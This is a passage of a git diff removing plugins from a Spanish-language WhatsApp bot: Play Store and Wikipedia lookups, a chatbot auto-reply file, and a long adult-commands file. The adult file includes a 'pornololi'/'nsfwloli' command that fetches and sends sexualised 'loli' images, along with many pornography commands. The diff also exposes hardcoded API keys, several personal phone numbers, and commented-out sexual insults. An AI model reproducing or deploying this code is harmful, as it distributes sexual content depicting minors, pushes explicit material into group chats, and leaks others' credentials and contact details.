-conn.sendMessage(m.chat,{image:{url: gPlay.imagen},caption:`🔍 𝙍𝙚𝙨𝙪𝙡𝙩𝙖𝙙𝙤𝙨: ${gPlay.titulo}
-───────•••───────
-🧬 𝙄𝙙𝙚𝙣𝙩𝙞𝙛𝙞𝙘𝙖𝙙𝙤𝙧: ${gPlay.id}
-───────•••───────
-⛓️ 𝙇𝙞𝙣𝙠: ${gPlay.link}
-───────•••───────
-🖼️ 𝙄𝙢𝙖𝙜𝙚𝙣: ${gPlay.imagen}
-───────•••───────
-✍️ 𝘿𝙚𝙨𝙖𝙧𝙧𝙤𝙡𝙡𝙖𝙙𝙤𝙧: ${gPlay.desarrollador}
-───────•••───────
-📜 𝘿𝙚𝙨𝙘𝙧𝙞𝙥𝙘𝙞𝙤́𝙣: ${gPlay.descripcion}
-───────•••───────
-💲 𝙈𝙤𝙣𝙚𝙙𝙖: ${gPlay.moneda}
-───────•••───────
-🎭 𝙂𝙧𝙖𝙩𝙞𝙨?: ${gPlay.gratis}
-───────•••───────
-💸 𝙋𝙧𝙚𝙘𝙞𝙤: ${gPlay.precio}
-───────•••───────
-📈 𝙋𝙪𝙣𝙩𝙪𝙖𝙘𝙞𝙤́𝙣: ${gPlay.puntuacion}`},{quoted:m})
-} catch (e) {
-m.reply('𝙐𝙛 𝙚𝙧𝙧𝙤𝙧, 𝙨𝙚 𝙢𝙚 𝙘𝙖𝙮𝙤́ 𝙚𝙡 𝙨𝙚𝙧𝙫𝙞𝙙𝙤 🤡, 𝙫𝙪𝙚𝙡𝙫𝙖 𝙖 𝙞𝙣𝙩𝙚𝙣𝙩𝙖𝙧')
-console.log(e)
-}
-}
-
-handler.help = ['playstore ']
-handler.tags = ['internet']
-handler.command = /^(playstore)$/i
-
-export default handler
\ No newline at end of file
diff --git a/plugins/buscador-wikipedia.js b/plugins/buscador-wikipedia.js
deleted file mode 100644
index 066205e4b..000000000
--- a/plugins/buscador-wikipedia.js
+++ /dev/null
@@ -1,44 +0,0 @@
-import axios from "axios"
-import fetch from "node-fetch"
-import cheerio from "cheerio"
-async function wikipedia(querry) {
-try {
-const link = await axios.get(`https://es.wikipedia.org/wiki/${querry}`)
-const $ = cheerio.load(link.data)
-let judul = $('#firstHeading').text().trim()
-let thumb = $('#mw-content-text').find('div.mw-parser-output > div:nth-child(1) > table > tbody > tr:nth-child(2) > td > a > img').attr('src') || `//i.ibb.co/nzqPBpC/http-error-404-not-found.png`
-let isi = []
-$('#mw-content-text > div.mw-parser-output').each(function (rayy, Ra) {
-let penjelasan = $(Ra).find('p').text().trim()
-isi.push(penjelasan)})
-for (let i of isi) {
-const data = {
-status: link.status,
-result: {
-judul: judul,
-thumb: 'https:' + thumb,
-isi: i}}
-return data}
-} catch (err) {
-var notFond = {
-status: link.status,
-Pesan: eror}
-return notFond}}
-let handler = async (m, { conn, text, usedPrefix, command }) => {
-if (!text) throw `${mg}𝙀𝙨𝙘𝙧𝙞𝙗𝙖 𝙡𝙖 𝙥𝙖𝙡𝙖𝙗𝙧𝙖 𝙘𝙡𝙖𝙫𝙚 𝙥𝙖𝙧𝙖 𝙗𝙪𝙨𝙘𝙖𝙧\n𝙀𝙟𝙚𝙢𝙥𝙡𝙤\n*${usedPrefix + command} Luna*`
-wikipedia(`${text}`).then(res => {
-let info = `𝑬𝒏𝒄𝒐𝒏𝒕𝒓𝒆́ 𝒆𝒔𝒕𝒐:\n\n` + res.result.isi
-conn.sendHydrated(m.chat, info, wm, null, null, null, [
-['𝙈𝙚𝙣𝙪 𝘽𝙪𝙨𝙦𝙪𝙚𝙙𝙖𝙨 🔎', '#buscarmenu'],
-['𝙈𝙚𝙣𝙪 𝘾𝙤𝙢𝙥𝙡𝙚𝙩𝙤 ✨', '.allmenu'],
-['𝙑𝙤𝙡𝙫𝙚𝙧 𝙖𝙡 𝙈𝙚𝙣𝙪́ ☘️', '/menu']
-], m,)
-
-}).catch(() => { m.reply(`${fg}𝑬𝒓𝒓𝒐 𝒏𝒐 𝒔𝒆 𝒆𝒏𝒄𝒐𝒏𝒕𝒓𝒐́ 𝒍𝒐𝒔 𝒒𝒖𝒆 𝒃𝒖𝒔𝒄𝒂𝒃𝒂, 𝑰𝒏𝒕𝒆𝒏𝒕𝒆 𝒅𝒆𝒍 𝒏𝒖𝒆𝒗𝒐`) })}
-handler.help = ['wikipedia'].map(v => v + ' ')
-handler.tags = [ 'internet']
-handler.command = /^(wiki|wikipedia)$/i
-handler.exp = 40
-handler.level = 2
-handler.money = 25
-export default handler
diff --git a/plugins/chatbot.js b/plugins/chatbot.js
deleted file mode 100644
index 537432817..000000000
--- a/plugins/chatbot.js
+++ /dev/null
@@ -1,70 +0,0 @@
-// by https://github.com/elrebelde21/The-LoliBot-MD
-
-let handler = m => m
-handler.all = async function (m) {
-let chat = global.db.data.chats[m.chat]
-let name = conn.getName(m.sender)
-
-if (/^todo bien$/i.test(m.text) ) { //sem prefixo
- conn.reply(m.chat, `𝑩𝒊𝒆𝒏 𝒄𝒂𝒑𝒐 😎 𝒚 𝒕𝒖`, m) //wm, null, [['Menu', '#menu']], m) botones :V
-
-}
-
-if (/^e$/i.test(m.text) ) { //sem prefixo
- conn.reply(m.chat, `𝑸𝒖𝒆 𝒃𝒖𝒆𝒏𝒐 𝒔𝒂𝒃𝒆𝒓 𝒍𝒂 𝒍𝒆𝒕𝒓𝒂 𝒆`, m) //wm, null, [['Menu', '#menu']], m) botones :V
-
-}
-
-if (/^@5492266466080|@56964787183|@5492266613038$/i.test(m.text) ) { //sem prefixo
- conn.reply(m.chat, `*_[ ⚠ ️] No etiquetes a mi creador, si tiene alguna consulta o dudas, hablarle el pv solo por tema del bot_*`, m) //wm, null, [['Menu', '#menu']], m) botones :V
-
-}
-
-/* if (/^Mande porno|porno|paja$/i.test(m.text) ) { //sem prefixo
- let teks = `
-${pickRandom([` 𝑨𝒔𝒊́ 𝒒𝒖𝒆 𝒒𝒖𝒊𝒆𝒓𝒂 𝒉𝒂𝒈𝒂 𝒑𝒖𝒕𝒊𝒕𝒐 🧐`, `_uff mire un pajero_`, `_pagame y paso mi pack😏🥵_`, `_que_`, `_que quiere pija dice 🤣`, `_pasa el pack de tu hermana😏_`, `_mire un gilipolla_`, `_siuuu sexo sexo sexo😈_`, '_callarte putito_'])}
-`.trim()
-conn.reply(m.chat, teks, m, { mentions: { mentionedJid: [m.sender] }})
-
-}
-*/
-if (/^reglas|normas|Reglas$/i.test(m.text) ) { //sem prefixo
- conn.reply(m.chat, `*┌───⊷ *${lb}*
-┆ ───────•••───────
-┆ ⚠️ 𝗢𝗯𝗲𝗱𝗲𝗰𝗲 𝗹𝗮𝘀 𝗿𝗲𝗴𝗹𝗮𝘀 ⚠️
-┆───────•••───────
-┆➽❌ 𝐏𝐫𝐨𝐡𝐢𝐛𝐢𝐝𝐨 𝐥𝐥𝐚𝐦𝐚𝐫 𝐚𝐥 𝐁𝐨𝐭
-┆➽❌ 𝐏𝐫𝐨𝐡𝐢𝐛𝐢𝐝𝐨 𝐒𝐩𝐚𝐦 𝐚𝐥 𝐁𝐨𝐭
-┆➽❌ 𝐍𝐨 𝐚𝐠𝐫𝐞𝐠𝐚𝐫 𝐚𝐥 𝐁𝐨𝐭
-┆➽❌ 𝐑𝐞𝐬𝐩𝐞𝐭𝐚 𝐥𝐨𝐬 𝐭𝐞𝐫𝐦𝐢𝐧𝐨𝐬 𝐲 𝐜𝐨𝐧𝐝𝐢𝐜𝐢𝐨𝐧𝐞𝐬
-┆
-┆ 「 🅣🅗🅔 🅛🅞🅛🅘🅑🅞🅣-🅜🅓 」
-╰──────────────────`, m) //wm, null, [['Menu', '#menu']], m) botones :V
-
-}
-
-if (/^¿que es un bot?|Que es un bot$/i.test(m.text) ) { //sem prefixo
- conn.reply(m.chat, `┌───⊷ *${lb}*
-┆ ───────•••───────
-┆ ☆::¿𝐐𝐮𝐞́ 𝐞𝐬 𝐮𝐧 𝐁𝐨𝐭 𝐝𝐞 𝐖𝐡𝐚𝐭𝐬𝐀𝐩𝐩?::☆*
-┆───────•••───────
-┆ 𝐔𝐧 𝐁𝐨𝐭 𝐞𝐬 𝐮𝐧𝐚 𝐢𝐧𝐭𝐞𝐥𝐢𝐠𝐞𝐧𝐜𝐢𝐚 𝐚𝐫𝐭𝐢𝐟𝐢𝐜𝐢𝐚𝐥 𝐪𝐮𝐞 𝐫𝐞𝐚𝐥𝐢𝐳𝐚 𝐭𝐚𝐫𝐞𝐚𝐬
-┆ 𝐪𝐮𝐞 𝐥𝐞 𝐢𝐧𝐝𝐢𝐪𝐮𝐞 𝐜𝐨𝐧 𝐜𝐨𝐦𝐚𝐧𝐝𝐨𝐬, 𝐞𝐧 𝐞𝐥 𝐜𝐚𝐬𝐨 𝐝𝐞 𝐖𝐡𝐚𝐭𝐬𝐀𝐩𝐩
-┆ 𝐩𝐮𝐞𝐝𝐞𝐬 𝐜𝐫𝐞𝐚𝐫 𝐬𝐭𝐢𝐜𝐤𝐞𝐫𝐬, 𝐝𝐞𝐬𝐜𝐚𝐫𝐠𝐚𝐫 𝐦𝐮́𝐬𝐢𝐜𝐚, 𝐯𝐢𝐝𝐞𝐨𝐬,
-┆ 𝐜𝐫𝐞𝐚𝐫 𝐥𝐨𝐠𝐨𝐬 𝐩𝐞𝐫𝐬𝐨𝐧𝐚𝐥𝐢𝐳𝐚𝐝𝐨𝐬 𝐲 𝐦𝐮𝐜𝐡𝐨 𝐦𝐚𝐬,
-┆ 𝐞𝐬𝐭𝐨 𝐝𝐞 𝐟𝐨𝐫𝐦𝐚 𝐚𝐮𝐭𝐨𝐦𝐚𝐭𝐢𝐳𝐚𝐝𝐚, 𝐨 𝐬𝐞𝐚 𝐪𝐮𝐞 𝐮𝐧 𝐡𝐮𝐦𝐚𝐧𝐨
-┆ 𝐧𝐨 𝐢𝐧𝐭𝐞𝐫𝐟𝐢𝐞𝐫𝐞 𝐞𝐧 𝐞𝐥 𝐩𝐫𝐨𝐜𝐞𝐬𝐨
-┆ 𝐏𝐚𝐫𝐚 𝐯𝐞𝐫 𝐞𝐥 𝐦𝐞𝐧𝐮́ 𝐝𝐞 𝐜𝐨𝐦𝐚𝐧𝐝𝐨𝐬 𝐩𝐮𝐞𝐝𝐞𝐬 𝐮𝐬𝐚𝐫 #menu
-┆
-┆ 「 🅣🅗🅔 🅛🅞🅛🅘🅑🅞🅣-🅜🅓 」
-╰──────────────────`, m) //wm, null, [['Menu', '#menu']], m) botones :V
-
-}
-return !0
-}
-export default handler
-
-function pickRandom(list) {
- return list[Math.floor(Math.random() * list.length)]
-}
-
diff --git a/plugins/comandos+18-adult.js b/plugins/comandos+18-adult.js
deleted file mode 100644
index 119659f19..000000000
--- a/plugins/comandos+18-adult.js
+++ /dev/null
@@ -1,2836 +0,0 @@
-import axios from "axios"
-import fetch from 'node-fetch'
-import { sticker } from '../lib/sticker.js'
-
-let handler = async (m, {usedPrefix, command, conn}) => {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-let frep = { contextInfo: { externalAdReply: {title: wm, body: lenguajeGB.smsCont18Porn2(), sourceUrl: redesMenu.getRandom(), thumbnail: await(await fetch(img16)).buffer() }}}
-let user = global.db.data.users[m.sender]
-
-if (!db.data.chats[m.chat].modohorny && m.isGroup) throw `${lenguajeGB['smsContAdult']()}`
-try{
-if (command == 'pornololi' || command == 'nsfwloli') {
-let res = (await axios.get(`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/nsfwloli.json`)).data
-let enlace = await res[Math.floor(res.length * Math.random())]
-await conn.sendFile(m.chat, enlace, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, enlace, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == 'pornopies' || command == 'nsfwfoot') {
-let res = (await axios.get(`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/nsfwfoot.json`)).data
-let enlace = await res[Math.floor(res.length * Math.random())]
-await conn.sendFile(m.chat, enlace, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, enlace, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno pies 2' : 'nsfw foot 2'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornopies2' : 'nsfwfoot2'}`]], m, frep)}
-
-if (command == 'pornoass' || command == 'nsfwass') {
-let res = (await axios.get(`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/nsfwass.json`)).data
-let enlace = await res[Math.floor(res.length * Math.random())]
-await conn.sendFile(m.chat, enlace, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, enlace, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno ass 2' : 'nsfw ass 2'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornoass2' : 'nsfwass2'}`]], m, frep)}
-
-if (command == 'pornobdsm' || command == 'nsfwbdsm') {
-let res = (await axios.get(`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/nsfwbdsm.json`)).data
-let enlace = await res[Math.floor(res.length * Math.random())]
-await conn.sendFile(m.chat, enlace, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, enlace, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno fuck' : 'nsfw fuck'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornofuck' : 'nsfwfuck'}`]], m, frep)}
-
-if (command == 'pornocum' || command == 'nsfwcum') {
-let res = (await axios.get(`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/nsfwcum.json`)).data
-let enlace = await res[Math.floor(res.length * Math.random())]
-await conn.sendFile(m.chat, enlace, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, enlace, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno cum 2' : 'nsfw cum 2'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornocum' : 'nsfwcum'}`]], m, frep)}
-
-if (command == 'pornoero' || command == 'nsfwero') {
-let res = (await axios.get(`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/nsfwero.json`)).data
-let enlace = await res[Math.floor(res.length * Math.random())]
-await conn.sendFile(m.chat, enlace, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, enlace, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno hero academy' : 'nsfw hero academy'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornoheroacademy' : 'nsfwheroacademy'}`]], m, frep)}
-
-if (command == 'pornodominar' || command == 'nsfwfemdom') {
-let res = (await axios.get(`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/nsfwfemdom.json`)).data
-let enlace = await res[Math.floor(res.length * Math.random())]
-await conn.sendFile(m.chat, enlace, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, enlace, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == 'pornoglass' || command == 'nsfwglass') {
-let res = (await axios.get(`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/nsfwglass.json`)).data
-let enlace = await res[Math.floor(res.length * Math.random())]
-await conn.sendFile(m.chat, enlace, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, enlace, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno ass 3' : 'nsfw ass 3'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornoass3' : 'nsfwass3'}`]], m, frep)}
-
-if (command == 'pornohentai' || command == 'nsfwhentai') {
-let res = (await axios.get(`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/hentai.json`)).data
-let enlace = await res[Math.floor(res.length * Math.random())]
-await conn.sendFile(m.chat, enlace, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, enlace, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno hentai 3' : 'nsfw hentai 3'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornohentai3' : 'nsfwhentai3'}`]], m, frep)}
-
-if (command == 'pornorgia' || command == 'nsfworgy') {
-let res = (await axios.get(`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/nsfworgy.json`)).data
-let enlace = await res[Math.floor(res.length * Math.random())]
-await conn.sendFile(m.chat, enlace, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, enlace, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno orgia 2' : 'nsfw orgy 2'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornorgia2' : 'nsfworgy2'}`]], m, frep)}
-
-if (command == 'pornotetas' || command == 'nsfwboobs') {
-let resError = (await axios.get(`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/tetas.json`)).data
-let res = await conn.getFile(`https://api-fgmods.ddns.net/api/nsfw/boobs?apikey=fg-dylux`).data
-if (res == '' || !res || res == null) res = await resError[Math.floor(resError.length * Math.random())]
-await conn.sendFile(m.chat, res, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, res, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno tetas 3' : 'nsfw boobs 3'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornotetas3' : 'nsfwboobs3'}`]], m, frep)}
-
-if (command == 'pornobooty' || command == 'nsfwbooty') {
-let resError = (await axios.get(`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/booty.json`)).data
-let res = await conn.getFile(`https://api-fgmods.ddns.net/api/nsfw/ass?apikey=fg-dylux`).data
-if (res == '' || !res || res == null) res = await resError[Math.floor(resError.length * Math.random())]
-await conn.sendFile(m.chat, res, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, res, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == 'pornoecchi' || command == 'nsfwecchi') {
-let res = (await axios.get(`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/ecchi.json`)).data
-let enlace = await res[Math.floor(res.length * Math.random())]
-await conn.sendFile(m.chat, enlace, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, enlace, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == 'pornofurro' || command == 'nsfwfurry') {
-let res = (await axios.get(`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/furro.json`)).data
-let enlace = await res[Math.floor(res.length * Math.random())]
-await conn.sendFile(m.chat, enlace, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, enlace, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno furro 2' : 'nsfw furry 2'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornofurro2' : 'nsfwfurry2'}`]], m, frep)}
-
-if (command == 'pornotrapito' || command == 'nsfwtrap') { //https://api.lolhuman.xyz/api/random/nsfw/trap?apikey=6fbee8ec83e7b2677026ffae
-let res = await fetch(`https://api.waifu.pics/nsfw/trap`)
-let json = await res.json()
-let enlace = json.url
-await conn.sendFile(m.chat, res, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, enlace, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [lenguajeGB.lenguaje() == 'es' ? '🔞 ver lista porno 🔞'.toUpperCase() : '🔞 list horny🔞 '.toUpperCase(), lenguajeGB.lenguaje() == 'es' ? usedPrefix + 'listaporno' : usedPrefix + 'listhorny']], m, frep)}
-
-if (command == 'pornolesbiana' || command == 'nsfwlesbian') {
-let resError = (await axios.get(`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/imagenlesbians.json`)).data
-let res = await conn.getFile(`https://api-fgmods.ddns.net/api/nsfw/lesbian?apikey=fg-dylux`).data
-if (res == '' || !res || res == null) res = await resError[Math.floor(resError.length * Math.random())]
-await conn.sendFile(m.chat, res, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, res, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno chica' : 'nsfws girl'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornochica' : 'nsfwsgirl'}`]], m, frep)}
-
-if (command == 'pornobragas' || command == 'nsfwpanties') {
-let res = (await axios.get(`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/panties.json`)).data
-let enlace = await res[Math.floor(res.length * Math.random())]
-await conn.sendFile(m.chat, enlace, null, `${lenguajeGB['smsCont18Porn']()}\n${lenguajeGB['smsBotonM7']()} » ${user.premiumTime > 0 ? '✅' : '❌'}`, null, null, {viewOnce: true}, m)}
-//await conn.sendButton(m.chat, lenguajeGB.smsCont18Porn(), ` *_${lenguajeGB['smsBotonM7']()}_* » ${user.premiumTime > 0 ? '✅' : '❌'}\n` + wm + ` : *${command[0].toUpperCase() + command.substring(1)}*`, enlace, [[lenguajeGB.smsSig(), `${usedPrefix + command}`], [`🥵 ${lenguajeGB.lenguaje() == 'es' ? 'porno chica 2' : 'nsfws girl 2'} 🥵`.toUpperCase(), `${usedPrefix}${lenguajeGB.lenguaje() == 'es' ? 'pornochica2' : 'nsfwsgirl2'}`]], m, frep)}
-
-if (command == 'pornopene' || command == 'nsfwpenis') {
-let resError = (await axios.get(`https://raw.githubusercontent.com/GataNina-Li/GataBot-MD/master/src/JSON/pene.json`)).data
-let res = await conn.getFile(`https://api-fgmods.ddns.net/api/nsfw/penis?apikey=fg-dylux`).data
-if (res == '' || !res || res == null) res = await resError[Math.floor(resError.length * Math.random())]
